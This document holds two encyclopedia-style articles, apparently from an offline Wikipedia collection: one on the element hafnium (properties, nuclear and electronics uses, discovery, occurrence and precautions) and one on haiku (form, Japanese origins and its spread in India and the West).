          Hafnium is a shiny silvery, ductile metal that is corrosion resistant and chemically similar to zirconium. The physical properties of hafnium are markedly affected by zirconium impurities, and these two elements are among the most difficult ones to separate. A notable physical difference between them is their density (zirconium being about half as dense as hafnium), but chemically the elements are extremely similar.


          The most notable physical property of hafnium is that it has a very high neutron-capture cross-section, and several isotopes of hafnium nuclei can absorb multiple neutrons. This makes hafnium a good material for use in the control rods for nuclear reactors. Its neutron-capture cross-section is about 600 times that of zirconium. (Other elements that are good neutron-absorbers for control rods are cadmium and boron.)


          Separation of hafnium and zirconium becomes very important in the nuclear power industry, since zirconium is a good fuel-rod cladding metal, with the desirable properties of a very low neutron capture cross-section, and a good chemical stability at high temperatures. However, because of hafnium's neutron-absorbing properties, hafnium impurities in zirconium would cause it to be far less useful for nuclear reactor materials applications. Thus a nearly-complete separation of zirconium and hafnium is necessary for their use in nuclear power.


          Hafnium carbide is the most refractory binary compound known, with a melting point >3890 C, and hafnium nitride is the most refractory of all known metal nitrides, with a melting point of 3310 C. This has led to proposals that hafnium or its carbides might be useful as construction materials that are subjected to very high temperatures.


          The metal is resistant to concentrated alkalis, but halogens react with it to form hafnium tetrahalides. At higher temperatures hafnium reacts with oxygen, nitrogen, carbon, boron, sulfur, and silicon.


          The nuclear isomer Hf-178-m2 is also a source of cascades of gamma rays whose energies total to 2.45 MeV per decay. It is notable because it has the highest excitation energy of any comparably long-lived isomer of any element. One gram of pure Hf-178-m2 would contain approximately 1330 megajoules of energy, the equivalent of exploding about 317 kilograms (700 pounds) of TNT. Possible applications requiring such highly concentrated energy storage are of interest. For example, it has been studied as a possible power source for gamma ray lasers.


          


          Applications


          Hafnium is used to make control rods for nuclear reactors because of its ability to absorb neutrons (its thermal neutron absorption cross section is nearly 600 times that of zirconium), excellent mechanical properties and exceptional corrosion-resistance properties.


          Other uses:


          
            	In gas-filled and incandescent lamps, for scavenging oxygen and nitrogen,


            	As the electrode in plasma cutting because of its ability to shed electrons into air,


            	and in iron, titanium, niobium, tantalum, and other metal alloys.


            	A hafnium-based compound is employed in gate insulators in the 45nm generation of integrated circuits from Intel and IBM. Their laboratories independently found that hafnium oxide-based compounds are practical high-k dielectrics, allowing reduction of the threshold voltage which improves performance at such scales. Other vendors plan to use other solutions such as zirconium.


            	DARPA has been intermittently funding programs in the US to determine the possibility of using a nuclear isomer of hafnium (the above mentioned Hf-178-m2) to construct small, high yield weapons with simple x-ray triggering mechanismsan application of induced gamma emission. That work follows over two decades of basic research by an international community into the means for releasing the stored energy upon demand. There is considerable opposition to this program, both because the idea may not work, and because uninvolved countries might perceive an imagined "isomer weapon gap" that would justify their further development and stockpiling of conventional nuclear weapons. A related proposal is to use the same isomer to power Unmanned Aerial Vehicles, which could remain airborne for weeks at a time.

          


          


          History


          


          The 1869 periodic table by Mendeleev had implicitly predicted the existence of a heavier analog of titanium and zirconium, but in 1871 Mendeleev placed lanthanum in that spot.


          The existence of a gap in the periodic table for a yet to be discovered element 72 was predicted by Henry Moseley in 1914. Hafnium was named for the Latin name Hafnia for "Copenhagen", the home town of Niels Bohr. It was discovered by Dirk Coster and Georg von Hevesy in 1923 in Copenhagen, Denmark, validating the original 1869 prediction of Mendeleev. Soon thereafter, the new element was predicted to be associated with zirconium by using the Bohr theories of the atom, and it was finally found in zircon through X-ray spectroscopy analysis in Norway.


          Hafnium was separated from zirconium through repeated recrystallization of the double ammonium or potassium fluorides by Jantzen and von Hevesey. Metallic hafnium was first prepared by Anton Eduard van Arkel and Jan Hendrik de Boer by passing hafnium tetra-iodide vapor over a heated tungsten filament. This process for differential purification of Zr and Hf is still in use today.


          The Faculty of Science of the University of Copenhagen uses in its seal a stylized image of hafnium.


          


          Occurrence


          Hafnium is estimated to make up about 0.00058% of the Earth's upper crust by weight. It is found combined in natural zirconium compounds but it does not exist as a free element in nature. Minerals that contain zirconium, such as alvite [(Hf, Th, Zr)SiO4 H2O], thortveitite, and zircon (ZrSiO4), usually contain between 1 and 5% hafnium. Hafnium and zirconium have nearly identical chemistry, which makes the two difficult to separate. About half of all hafnium metal manufactured is produced as a by-product of zirconium refinement. This is done through reducing hafnium(IV) chloride with magnesium or sodium in the Kroll process.


          
            [image: A lump of hafnium which has been oxidized on one side and exhibits thin film optical effects.]

            
              A lump of hafnium which has been oxidized on one side and exhibits thin film optical effects.
            

          


          A major source of zircon (and hence hafnium) ores are heavy mineral sands ore deposits, pegmatites particularly in Brazil and Malawi, and carbonatite intrusions particularly the Crown Polymetallic Deposit at Mount Weld, Western Australia. A potential source of hafnium is trachyte tuffs containing rare zircon-hafnium silicates eudialyte or armostrongite, at Dubbo in New South Wales, Australia.


          


          Precautions


          Care needs to be taken when machining hafnium because, like its sister metal zirconium, when hafnium is divided into fine particles, it is pyrophoric and can ignite spontaneously in air (see Dragon's Breath for a demonstration). Compounds that contain this metal are rarely encountered by most people. The pure metal is not considered toxic, but hafnium compounds should be handled as if they are toxic because the ionic forms of metals are normally at greatest risk for toxicity, and limited animal testing has been done for hafnium compounds.
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          Haiku ( 俳句, Haiku ?) listen is a kind of Japanese poetry. It was given this name in the late 19th century by a man named Masaoka Shiki by a combination of the older hokku ( 発句, hokku ?) and the haikai (or verses) in haikai no renga. Haiku, when known as hokku were the opening verses of a linked verse form, haikai no renga. In Japanese, hokku and haiku are traditionally printed in one vertical line (though in handwritten form they may be in any reasonable number of lines). In English, haiku are written in three lines to equate to the three parts of a haiku in Japanese that traditionally consist of five, seven, and then five on (the Japanese count sounds, not syllables; for example, the word "haiku" itself counts as three sounds in Japanese, but two syllables in English, and writing seventeen syllables in English produces a poem that is actually quite a bit longer, with more content, than a haiku in Japanese). The kireji (cutting word or pause) usually comes at the end of either the first or second line. A haiku traditionally contains a kigo (season word) representative of the season in which the poem is set, or a reference to the natural world.


          Because Japanese nouns do not have different singular and plural forms, "haiku" is usually used as both a singular and plural noun in English as well. Practicing haiku poets and translators refer to "many haiku" rather than "haikus."


          Senryu is a similar poetry form that emphasizes irony, satire, humor, and human foibles instead of seasons, and may or may not have kigo or kireji.


          


          Syllable or "On" in Haiku


          While Modern English verse is typically characterized by meter, which counts "beats", Japanese verse instead typically counts sound units, known in Japanese as " on". The word On is often translated loosely (and somewhat inaccurately) as "syllables," but it is troublesome to think they are equivalent. The traditional haiku consisted of a pattern of 5, 7, and 5 on.


          The Japanese word on, literally "sound," corresponds to a mora, a phonetic unit similar but not identical to the syllable of languages such as English. (The word onji （音字; sound symbol) is sometimes used in referring to the Japanese syllable units in English although this word is archaic and no longer current in Japanese.) In Japanese, the on corresponds very closely to the kana character count (closely enough that Moji (or "character symbol") is also sometimes used as the count unit). One on is counted for a short syllable, an additional one for an elongated vowel or a doubled consonant (i.e., a glottal stop), and one for an added "n" at the end of a syllable. Thus, the word "sign," though one syllable in English, would be counted as three sounds if said in Japanese (something like "sigh-ya-uhn").


          Although it is possible to dissect the difference between counting on and counting syllables in great detail, in actual practice, for some classical Japanese haiku the count of on is very often identical to the count of syllables. However, because most Japanese words are polysyllabic, with very short sounds (like the three-syllable English word "radio," but unlike the one-syllable words "thought" or "stressed"), the seventeen sounds of a Japanese haiku carry less information than would seventeen syllables. Consequently, writing seventeen syllables in English typically produces a poem that is significantly "longer" than a traditional Japanese haiku. As a result, the great majority of literary haiku writers in English write their poems using about ten to fourteen syllables, with no formal pattern.


          Possibly the most well-known of Japanese haiku is Bashō's "old pond" haiku:


          
            	古池や蛙飛込む水の音

          


          This separates into on as:


          
            	furuike ya


            	(fu/ru/i/ke ya): 5


            	kawazu tobikomu


            	(ka/wa/zu to/bi/ko/mu): 7


            	mizu no oto


            	(mi/zu no o/to): 5

          


          Roughly translated :


          
            	old pond


            	a frog jumps


            	the sound of water

          


          Haiku are written as three different lines with a distinct grammatical break between two of them, called a kireji, usually placed at the end of either the first or second line. In Japanese, there are actual kireji words, which act as a sort of spoken punctuation (for example, the "ya" at the end of Bashō's "furuike-ya" poem is a kireji). In English, kireji has no direct equivalent. Instead, English-language poets often use commas, dashes, elipses, or implied breaks to divide the three lines into two grammatical and imagistic parts. The purpose is to create a juxtaposition, which creates space for an implication as the reader intuits the relationship between the two parts. Among most Japanese haiku writers, the kireji and kigo are both considered non negotiable requirements for the genre, yet are seldom taught in English. These elements, although considered by many to be essential to haiku, are not always included by modern writers of Japanese "free-form" haiku and some non-Japanese haiku. In Japanese "free-form" haiku, this omission is deliberate.


          


          Examples


          
            	An example of classic hokku by Matsuo Bashō:

          


          
            	富士の風や扇にのせて江戸土産


            	fuji no kaze ya oogi ni nosete Edo miyage


            	the wind of Mt. Fuji


            	I've brought on my fan!


            	a gift from Edo

          


          
            	Another Bashō classic:

          


          
            	初しぐれ猿も小蓑をほしげ也


            	hatsu shigure saru mo komino wo hoshige nari

          


          
            	the first cold shower


            	even the monkey seems to want


            	a little coat of straw

          


          (At that time, Japanese rain-gear consisted of a large, round cap and a shaggy straw cloak.)


          


          Origin and evolution


          


          From renga to haikai


          The exact origin of hokku is still subject to debate, but it is generally agreed that it originated from classical linked verse form called renga (連歌, renga ?).


          The first 575 sound units of a short renga is called maeku (and looks and sounds like a haiku) to which another person writes a response, a tsukeku  added verse  which is linked to the previous one using the equivalent of 77 Japanese sound units written in two lines. A tan renga is basically a tanka written by two people.


          
            	The long renga, chōrenga, consists of an alternating succession of chōku and tanku. Originally the renga consisted of 100, 1000, and even 10,000 links. During Basho's time he shortened the 100-verse renga down to 36 links. It was then called the "kasen" renga. The first verse of a long renga is a chōku (575) called hokku (発句, the opening verse), the second is a tanku (77) called waki,  and the last is a tanku called ageku.

          


          In the 1400s a rising middle class led to the development of a less courtly linked verse called playful linked verse (俳諧の連歌, haikai no renga ?). The term haikai no renga first appears in the renga collection Tsukubashu. Haiku came into being when the opening verse of haikai no renga was made an independent poem at the middle of the 17th century.


          The inventors of haikai no renga (abbr. haikai) are generally considered to be Yamazaki Sokan ( 1465 1553) and Arakida Moritake ( 1473 1549). Later exponents of haikai were Matsunaga Teitoku ( 1571 1653), the founder of the Teimon school, and Nishiyama Sōin ( 1605 1682), the founder of the Danrin school. The Teimon school's deliberate colloquialism made haikai popular, but also made it depend on wordplay. To counter this dependence, the Danrin school explored people's daily life for other sources of playfulness, but often ended up with frivolity.


          In the 1600s, two masters arose who elevated haikai and gave it a new popularity. They were Matsuo Bashō ( 1644 1694) and Onitsura ( 1661 1738). Hokku was only the first verse of haikai, but its position as the opening verse made it the most important, setting the tone for the whole composition. Even though hokku sometimes appeared individually, they were understood to always be in the context of haikai, as they were part of the verses of a renga. Bashō and Onitsura were thus writers of haikai of which hokku was only a part. Many more of these stand-alone haikai verses were written than were used in renga. Basho also used his haiku as torque points for his short prose sketches and longer travel diaries which combined prose and haiku. This sub-genre of haikai is known as haibun (see Haibun Defined: Anthology of Haibun Definitions).His best-known book, Oku no Hosomichi, or Narrow Roads to the Far North, is the most famous literary work in Japan and has been translated into English extensively. It even exists in play form as Banana Skies.


          Basho was deified by both the imperial government and Shinto religious headquarters one hundred years after his death because he raised the genre from a playful game of wit to sublime poetry. During his lifetime he was the most famous poet in Japan and still is today.


          


          The time of Buson


          
            [image: Grave of Yosa Buson]

            
              Grave of Yosa Buson
            

          


          The next famous style of haikai to arise was that of Yosa Buson ( 17161783) and others such as Gyōdai, Chora, Rankō, Ryōta, Shōha, Taigi, and Kitō, called the Tenmei style after the Tenmei Era (17811789) in which it was created. Buson was better known in his day as a painter than as a writer of haikai, but today that is reversed. His affection for painting can be seen in the painterly style of his hokku, and in his attempt to deliberately arrange scenes in words. Hokku was not so much a serious matter for Buson as it was for Bashō. The popularity and frequency of haikai gatherings in this period led to greater numbers of verses springing from imagination rather than from actual experience.


          No new popular style followed Buson. A very individualistic approach to haikai appeared, however, in the writer Kobayashi Issa (17631827) whose miserable childhood, poverty, sad life, and devotion to the Pure Land sect of Buddhism are clearly present in his hukku.


          


          The appearance of Shiki


          After Issa, haikai entered a period of decline in which it reverted to frivolity and uninspired mediocrity. The writers of this period in the 19th century are known by the deprecatory term tsukinami, meaning monthly, after the monthly or twice-monthly haikai gatherings of the end of the 18th century. But in regard to this period of haikai, it came to mean trite and hackneyed.


          This was the situation until the appearance of Masaoka Shiki (18671902), a reformer and revisionist who marks the end of hokku in a wider context. Shiki, a prolific writer even though chronically ill during a significant part of his life, not only disliked the tsukinami writers, but also criticized Bashō. Like the Japanese intellectual world in general at that time, Shiki was strongly impressed by Western culture. He favored the painterly style of Buson and particularly the European concept of plein-air painting, which he adapted to create a style of reformed hokku as a kind of nature sketch in words, an approach called shasei, literally sketching from life. He popularized his views by verse columns and essays in newspapers.


          All hokku up to the time of Shiki were written in the context of haikai, but Shiki completely separated his new style of verse from wider contexts. Being agnostic, he also separated it from the influence of Buddhism with which hokku had very often been tinged. And finally, he discarded the term "hokku" and called his revised verse form "haiku". Shiki thus became the first haiku poet. His revisionism brought an end to haikai and hokku as well as to surviving haikai schools.


          


          Haiga


          Haiga, the combination of haiku and art, is nearly as old as haiku itself. Haiga began as haiku added to paintings, but included in Japan the calligraphic painting of haiku via brushstrokes, with the calligraphy adding to the power of the haiku. Earlier haiku poets added haiku to their paintings, but Bashō is noted for creating haiga paintings as simple as the haiku itself. Yosa Buson, a master painter, brought a more artistic approach to haiga. It was Buson who illustrated Basho's famous travel journal, Oku no Hosomichi - Narrow Road to the Far North.


          Today, artists combine haiku with paintings, photographs and other art.


          


          Haiku in India


          Indian languages that follow Indic (abugida) alphabetical system interpret 5,7,5 structures counting CV, CCV, CCCV or CCCCV clusters, irrespective of length of syllables. In early 20th century Nobel laureate Rabindranath Tagore composed Haiku in Bengali. He also translated some from Japanese. In Gujarati, Jheenabhai Desai 'Sneharashmi' popularized Haiku and remains the most popular Haiku composer. In the traditional syncratic spirit of Gujarati literature, poets like Bhagavatikumar Sharma and Bhushit Joshipura have composed Ghazals with shares formed as Haiku. This type of poetry is named as Haiku Ghazal. Urdu (which is written in abjad alphabetical system) interprets 5,7,5 structures counting long syllables. Dr. Rehmat Yusufzai has composed a number of Haikus in Urdu.


          


          Haiku in the West


          Although there were attempts outside Japan to imitate the old hokku in the early 1900s, there was little genuine understanding of its principles. Early Western scholars such as Basil Hall Chamberlain (18501935) and William George Aston were mostly dismissive of hokku's poetic value. One of the first advocates of English-language hokku was the Japanese poet Yone Noguchi. In "A Proposal to American Poets," published in the Reader magazine in February 1904, Noguchi gave a brief outline of the hokku and some of his own English efforts, ending with the exhortation, "Pray, you try Japanese Hokku, my American poets!" At about the same time the poet Sadakichi Hartmann was publishing original English-language hokku, as well as other Japanese forms in both English and French.


          In France, hokku was introduced by Paul-Louis Couchoud around 1906. Couchoud's articles were read by early Imagist theoretician F. S. Flint, who passed on Couchoud's(somewhat idiosyncratic) ideas to other members of the proto-Imagist Poets' Club such as Ezra Pound. Amy Lowell made a trip to London just to meet Pound and find out about haiku. She returned to the United States where she worked to interest others in this "new" form. Haiku subsequently had a considerable influence on Imagists in the 1910s, notably Pound's " In a Station of the Metro" of 1913, but, notwithstanding several efforts by Yone Noguchi to explain "the hokku spirit," there was as yet little understanding of the form and its history.


          An early translation of a haiku book to a western language, in this case, to Spanish, was realized by the Mexican poet and Nobel Prize winner Octavio Paz with the collaboration of Eikichi Hayashiya. In 1956, they published "Sendas de Oku," the famous book by Matsuo Basho, "Oku no Hosomichi." Octavio Paz wrote an essay about this translation work, and published it in the book "El signo y el garabato."


          


          Blyth


          After early Imagist interest in haiku the genre drew less attention in English until after World War II, with the appearance of a number of influential volumes about Japanese haiku.


          In 1949, with the publication in Japan of the first volume of Haiku, the four-volume work by R.H. Blyth, haiku was introduced to the post-war world. Blyth was an Englishman who lived in Japan. He produced a series of works on Zen, haiku, senryu, and on other forms of Japanese and Asian literature. Those most relevant here are his Zen in English Literature and Oriental Classics (1942); his four-volume Haiku series (1949-52) dealing mostly with pre-modern hokku, though including Shiki; and his two-volume History of Haiku (1964). Today he is best known as a major interpreter of haiku to English speakers.


          Present-day attitudes to Blyth's work vary. Many contemporary writers of haiku were introduced to the genre through his works. These include the San Francisco and Beat Generation writers, such as Jack Kerouac, Gary Snyder, and Allen Ginsberg. Many members of the international "haiku community" also got their first views of haiku from Blyth's books, including James W. Hackett, Eric Amann, William J. Higginson, Anita Virgil, Jane Reichhold, and Lee Gurga. In the late twentieth century, members of that community with direct knowledge of modern Japanese haiku often noted Blyth's distaste for haiku on more modern themes and his strong bias regarding a direct connection between haiku and Zen, a "connection" largely ignored by Japanese poets. (Bashō, in fact, felt that his devotion to haiku prevented him from realizing enlightenment) Blyth also did not view haiku by Japanese women favorably, downplaying their substantial contributions to the genre, especially during the Bashō era and the twentieth century.


          Although Blyth did not foresee the appearance of original haiku in languages other than Japanese when he began writing on the topic, and although he founded no school of verse, his works stimulated the writing of haiku in English. At the end of the second volume of his History of Haiku (1964), he remarked that "The latest development in the history of haiku is one which nobody foresaw, ... the writing of haiku outside Japan, not in the Japanese language." He followed that comment with several original verses in English by the American James W. Hackett (b. 1929), with whom Blyth corresponded.


          


          Yasuda


          In 1957, the Charles E. Tuttle Co., with offices in both Japan and the U.S., published The Japanese Haiku: Its Essential Nature, History, and Possibilities in English, with Selected Examples by the Japanese-American scholar and translator Kenneth Yasuda. The book consists mainly of material from Yasuda's doctoral dissertation at Tokyo University (1955), and includes both translations from Japanese and original poems of his own in English which had previously appeared in his book A Pepper-Pod: Classic Japanese Poems together with Original Haiku (Alfred A. Knopf, 1947). In The Japanese Haiku, Yasuda presented some Japanese critical theory about haiku, especially featuring comments by early twentieth-century poets and critics. His translations apply a 575 syllable count in English, with the first and third lines end-rhymed. Yasuda's theory includes the concept of a "haiku moment," which he said is based in personal experience and provides the motive for writing a haiku. While the rest of his theoretical writing on haiku is not widely discussed, his notion of the haiku moment has resonated with haiku writers in North America, even though the notion is not widely promoted in Japanese haiku.


          The impulse to write haiku in English in North America was probably given more of a push by two books that appeared in 1958 than by Blyth's books directly. His indirect influence was felt through the Beat writers; Jack Kerouac's The Dharma Bums appeared in 1958, with one of its main characters, Japhy Ryder (based on Gary Snyder), writing haiku.


          


          Henderson


          Also in 1958, An Introduction to Haiku: An Anthology of Poems and Poets from Bash to Shiki by Harold G. Henderson, came from the American publisher Doubleday Anchor Books. This was a careful revision of Henderson's earlier book The Bamboo Broom (Houghton Mifflin, 1934), which apparently drew little notice as the world spiralled into militarist dictatorships before World War II. (After the war, Henderson and Blyth worked for the American Occupation in Japan and for the Imperial Household, respectively, and their mutual appreciation of haiku helped form a bond between the two, even as they collaborated on communications between their respective employers.)


          Henderson translated every hokku and haiku into a rhymed tercet (a-b-a), whereas the Japanese originals never used rhyme. Unlike Yasuda, however, he recognized that seventeen syllables in English are generally longer than the seventeen morae of a traditional Japanese haiku. Because the normal modes of English poetry depend on accentual meter rather than on syllabics, Henderson chose to emphasize the order of events and images in the originals. Nevertheless, many of Henderson's translations were still in the five-seven-five pattern.


          Henderson also welcomed correspondence, and when North Americans began publishing magazines devoted to haiku in English, he encouraged them. Not as dogmatic as Blyth, Henderson insisted only that a haiku must be a poem, and that the development of haiku in English would be determined by the poets.


          


          The budding of American haiku


          Precisely who qualifies as the first American haiku poet depends on one's definition of haiku. During the Imagist period, a number of mainstream poets wrote what they called "hokku," usually in the five-seven-five pattern. Amy Lowell published several "hokku" in her book "What's O'Clock" (1925; winner of the Pulitzer Prize), and even E. E. Cummings wrote hokku a little earlier, among other poets. Individualistic "haiku-like" verses by the innovative Buddhist poet and artist Paul Reps (18951990) appeared in print as early as 1939 (More Power to You--Poems Everyone Can Make, Preview Publications, Montrose CA.). Other Westerners inspired by Blyth's translations attempted original haiku in English, though again generally failing to understand the principles behind the verse form, which in Blyth is predominantly the more challenging hokku rather than the later and more free-form haiku. The resulting verses, including those of the Beat period, were often little more than the brevity of the haiku form, combined with current ideas of poetic content, or uninformed attempts at "Zen" poetry; however, a few by Kerouac and Richard Wright, in particular, remain striking early examples of the genre and adumbrate the concision of contemporary practice.


          
            	Snow in my shoe


            	Abandoned


            	Sparrow's nest


            	--Jack Kerouac (collected in Book of Haikus, Penguin Books, 2003)

          


          The African-American novelist Richard Wright, in his final years, composed some 4,000 haiku, but only 817 of which are collected in the volume Haiku: This Other World. Wright hewed to a 5-7-5 syllabic structure for about three-quarters of these verses, and frequently employed surreal imagery and implicit political themes. His content and style (even down to his indentation of lines) was heavily influenced by R. H. Blyth's translations (Blyth's books were Wright's main influence, and perhaps even his only influence). Poets Gerald Vizenor, Gordon Henry, Jr., and Kimberley Blaeser have connected the haiku form to the tradition of the Native American/ First Nations Peoples of the Anishinaabe tribe, stressing, as Wright often did also, the essential interconnectedness of humans and the natural world.


          
            	Whitecaps on the bay:


            	A broken signboard banging


            	In the April wind.


            	--Richard Wright (collected in Haiku: This Other World, Arcade Publishing, 1998)

          


          An early anthology of American haiku, Borrowed Water (Tuttle:1966) of work by the Los Altos (California) Roundtable was compiled by Helen Stiles Chenoweth. Haiku at that time were bound by the rule of using seventeen English syllables.


          The experimental work of Beat and minority haiku poets expanded the popularity of haiku in English. Despite claims that haiku has not had much of an impact on the literary scene, a number of "mainstream" poets, such as Richard Wilbur, James Merrill, Etheridge Knight, William Stafford, W. S. Merwin, John Ashbery, Donald Hall, Seamus Heaney, Wendy Cope, Ruth Stone, Sonia Sanchez, Paul Muldoon, Billy Collins, and others have tried their hand at haiku. Often, though, they have approached it in a relatively uninformed manner, more as a fixed form than as the complex, nuanced genre it is. Their work has frequently demonstrated no awareness of the tenets of the season word, cutting word, objective imagery, or other dominant characteristics of the genre. Haiku has also proven very popular as a way of introducing students to poetry in elementary schools and as a hobby for numerous amateur writers.


          The North American "haiku movement" really begins in 1963 with the founding of the journal American Haiku in Platteville, Wisconsin edited by James Bull and Donald Eulert. Among contributors to the first issue were poets J. W. Hackett, O Mabson Southard (1911-2000), Nick Virgilio (1928-1989), and Virginia Brady Young. Whereas Hackett represented an experiential/existential/Zen approach to haiku, Virgilio exemplified a more aesthetic conception that incorporated "found" and imaginary elements. In the second issue of American Haiku Virgilio published his "lily" and "bass" haiku, which became models of brevity, breaking down the traditional 5-7-5 syllabic form, approximating the actual duration of Japanese haiku, and pointing toward the leaner conception of haiku that would take hold in subsequent decades.


          
            	lily:


            	out of the water


            	out of itself


            	--Nick Virgilio (Selected Haiku, Burnt Lake Press/Black Moss Press, 1988)

          


          
            	bass


            	picking bugs


            	off the moon


            	--Nick Virgilio (Selected Haiku, Burnt Lake Press/Black Moss Press, 1988)

          


          American Haiku ended publication in 1968 and was succeeded by Modern Haiku in 1969, which remains the premiere haiku journal in English. Other early English-language haiku journals included Haiku Highlights (founded 1965 by Jean Calkins and later taken over by Lorraine Ellis Haar who changed the name to Dragonfly), Eric Amann's Haiku (founded 1967), and Haiku West (founded 1967).


          The Haiku Society of America was founded in 1968 and began publishing its journal Frogpond in 1978. In 1991, the biennial Haiku North America conference (www.haikunorthamerica.com) was first held in California, and it continues to be the primary meeting ground for leading haiku poets, scholars, and translators on the continent.


          Some key issues that American haiku practitioners continue to debate include: appropriate length and structure of haiku, the use and importance of kigo (including in regions with little seasonal variation), the relation of haiku to Zen, the use of natural and urban imagery, the distinction between haiku and the related senryu genre, haiku grammar, and the incorporation of subjective elements, including personal pronouns. For some haiku poets, these issues are settled, but serious poets new to the genre continue to raise these issues, so they continue to persist. Resources for poets and scholars attempting to understand English-language haiku aesthetics and history are William J. Higginson's Haiku Handbook (McGraw-Hill, 1985), Cor van den Heuvel's The Haiku Anthology (third edition, Norton, 1999), and Lee Gurga's Haiku: A Poet's Guide (Modern Haiku Press, 2003).


          Although the English-language "haiku movement" is a collective enterprise with many significant contributors, one can single out particularly outstanding individual achievements by poets such as Hackett, Virgilio, Charles B. Dickson (1915-1991), Elizabeth Searle Lamb (1917-2005), Raymond Roseliep (1917-1983), Robert Spiess (1921-2002), and John Wills (1921-1993). Dickson, Spiess, and Wills are all exemplars of a nature-oriented approach to haiku, while Roseliep (a Catholic priest) adopted an adventurous metaphysical style that makes him the John Donne or George Herbert of American haiku.


          
            	an aging willow--


            	its image unsteady


            	in the flowing stream


            	--Robert Spiess (Red Moon Anthology, Red Moon Press, 1996)

          


          
            	downpour:


            	my "I-Thou"


            	T-shirt


            	--Raymond Roseliep (Rabbit in the Moon, Alembic Press, 1983)

          


          Particularly noteworthy figures still active in the haiku community include: Jane Reichhold (b.1937), Peggy Willis Lyles (b. 1939), Marlene Mountain (b. 1939), George Swede (b. 1940), vincent tripi (b. 1941), Alexis Rotella (b. 1947), Christopher Herold (b. 1948), John Stevenson (b. 1948), Lee Gurga (b. 1949), Gary Hotham (b. 1950), Alan Pizzarelli (b. 1950), Jim Kacian (b. 1953), and Michael Dylan Welch (b. 1962). Their work exemplifies many important trends. For instance, Swede, Rotella, Pizzarelli, and Stevenson often blur the line between haiku and senryu.


          
            	Just friends:


            	he watches my gauze dress


            	blowing on the line.


            	--Alexis Rotella (After an Affair, Merging Media, 1984)

          


          
            	meteor shower . . .


            	a gentle wave


            	wets our sandals


            	--Michael Dylan Welch (HSA Newsletter XV:4, Autumn 2000)

          


          
            	one fly


            	everywhere


            	the heat


            	--Marlene Mountain (Cicada 2.1, 1978)

          


          Marlene Mountain was one of the first or more persistent English-language haiku poets to write haiku in a single horizontal line, a less-favored form in English, but one that has gained increasing prominence. This form was first introduced to a wider audience by Hiroaki Sato's translations of Ozaki Hosai and other 20th Century Japanese Haiku Poets in the 1970's (see From the Country of Eight Islands co-edited with Burton Watson). The single-line haiku was practiced quite successfully by John Ashbery, Allen Ginsberg, Marlene Mountain, John Wills, and Matsuo Allard, and has been used more recently by poets such as M. Kettner, Chris Gordon, Scott Metz, Jim Kacian, and Charles Trumbull, to name a few (see Haiku: A Poet's Guide by Lee Gurga). Haiku of four lines or longer are also written, some of them vertical poems with only a word or two on a line. The vertical poem has been adopted by prolific poet and bookmaker John Martone, whose work calls to mind Gary Snyder, Robert Creeley, and Jack Kerouac's best work.


          Another pioneering haiku poet, Cor van den Heuvel (b. 1931), has edited the standard Haiku Anthology (1st ed., 1974; 2nd ed., 1986; 3rd ed. 1999). The third edition, published by W. W. Norton, remains the best introduction to the achievement of English-language haiku poetry up to 1999, although it has already become a little dated in its selections because of the rise of the Internet. Since its publication, another generation of haiku poets has come to prominence in the new millennium and the era of the Internet. Among the most widely published and honored of these poets are Fay Aoyagi, Connie Donleycott, Carolyn Hall, Paul M., Scott Metz, Christopher Patchel, Chris Gordon, Chad Lee Robinson, and Billie Wilson ( see the loose thread: The Red Moon Anthology of English-Language Haiku 2001, Jim Kacian Editor-in-Chief: Red Moon Press 2002). But the total number of significant poets seems to be increasing, and a host of other names should be adduced (see Echoes: The New Resonance Poets edited by Jim Kacian and Alice Frampton: Red Moon Press 2007). Consequently, the need for a fourth edition of van den Heuvel's anthology, or a prominent new anthology compiled by another editor, would seem to be greatly in order. However, van den Heuvel has recently published Baseball Haiku (Norton, 2007), a very popular book that represents some more recent writers, albeit confined to a particular subject.


          The work of recently rising haiku poets and their predecessors belongs to the small press movement and figures prominently in long-established publications such as Modern Haiku and Frogpond. Other important contemporary haiku journals include Mayfly (founded by Randy and Shirley Brooks in 1986), Acorn (founded by A. C. Missias in 1998), Bottle Rockets (founded by Stanford M. Forrester), and The Heron's Nest (founded by Christopher Herold in 1999, an Internet-based publication with a print annual). Previously, Brussels Sprout (edited from 1988 to 1995 by Francine Porad), Woodnotes (edited from 1989 to 1997 by Michael Dylan Welch), and Hal Roth's Wind Chimes made a significant impact. Also being published are the Australian journal Paper Wasp and newer North American publications such as Wisteria, Moonset, White Lotus, and the Internet-based Simply Haiku. Many haiku journals have come and gone over the last five decades; the staying power of Modern Haiku (currently edited by Charles Trumbull) and Frogpond (currently edited by John Stevenson) is the exception rather than the rule--but it testifies to the continuity and continued vibrancy of English-language haiku. Raw Nervz Haiku, edited by prominent Canadian haiku poet Dorothy Howard, was a bastion of experimental haiku for most of the 1990s and only recently ceased publication. ant ant ant ant ant, edited by Chris Gordon, has published contemporary and experimental haiku since 1994, with an emphasis on innovation while remaining rooted the core aesthetics of the form. Scott Metz and Jason Sanford Brown's online haiku journal Roadrunner offers one of the Internet's best venues for a variety of quality haiku poets.


          Among significant contemporary publishers of haiku books are Jim Kacian's Red Moon Press, Randy Brooks's Brooks Books, Michael Dylan Welch's Press Here, Jane Reichhold's AHA Books, and John Barlow's Snapshot Press in the U.K. All have produced high-quality anthologies and single-author collections.


          
            	mourning dove


            	answers mourning dove--


            	coolness after the rain


            	--Wally Swist (The Silence Between Us, Brooks Books, 2005)

          


          
            	so suddenly winter


            	baby teeth at the bottom


            	of the button jar


            	--Carolyn Hall (Water Lines, Snapshot Press, 2006)

          


          Another significant development in English-language haiku was the founding, in 1996, of the American Haiku Archives, which is the largest public archives of haiku-related material outside Japan. It is housed at the California State Library in Sacramento, and includes the official archives of the Haiku Society of America, along with significant donations from the libraries of Elizabeth Searle Lamb, cofounder Jerry Kilbride, Jane Reichhold, Lorraine Ellis Harr, Francine Porad, and many others. The archives has a Web site at www.americanhaikuarchives.org.


          Today, haiku are written in many languages, but most poets are still concentrated in Japan and in English-speaking countries. Haiku has already had a significant influence on western poetics, but the extent to which the "haiku movement" will become integrated into existing literary canons remains to be seen.


          


          Contemporary English-language haiku


          While traditional hokku/haiku focused on nature and the place of humans in nature, modern haiku poets often consider any subject matter suitable, whether related to nature, an urban setting, or even a technological context. While old hokku avoided some topics such as romance, sex, and overt violence, contemporary haiku often deal specifically with such themes.


